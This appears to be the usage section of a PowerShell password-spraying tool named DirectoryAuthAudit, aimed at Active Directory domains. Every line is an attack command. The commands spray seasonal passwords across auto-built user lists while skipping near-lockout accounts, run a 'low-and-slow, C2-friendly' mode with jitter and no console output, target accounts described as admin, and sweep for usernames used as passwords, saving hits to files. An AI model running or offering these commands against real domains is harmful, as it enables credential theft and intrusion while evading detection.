

DirectoryAuthAudit

PowerShell

```
1  #
2  . .\DirectoryAuthAudit.ps1
3
4  # single password, auto-built userlist (screens disabled + near-lockout):
5  Invoke-DirectoryAuthAudit -Password 'Winter2026!' -Force -OutFile hits.txt
6
7  # full manual control:
8  Invoke-DirectoryAuthAudit -UserList users.txt -Domain corp.local -PasswordList passes.txt -OutFile hits.txt -Force
9
10 # low-and-slow, C2-friendly (no console noise):
11 Invoke-DirectoryAuthAudit -Password 'Summer2026!' -Delay 5 -Jitter 0.3 -Quiet -Force -OutFile hits.txt
12
13 # targeted at admin-description accounts only:
14 Invoke-DirectoryAuthAudit -Filter "(description=*admin*)" -Password 'x' -Force
15
16 # username-as-password sweep:
17 Invoke-DirectoryAuthAudit -UsernameAsPassword -OutFile valid.txt -Force -Quiet
```
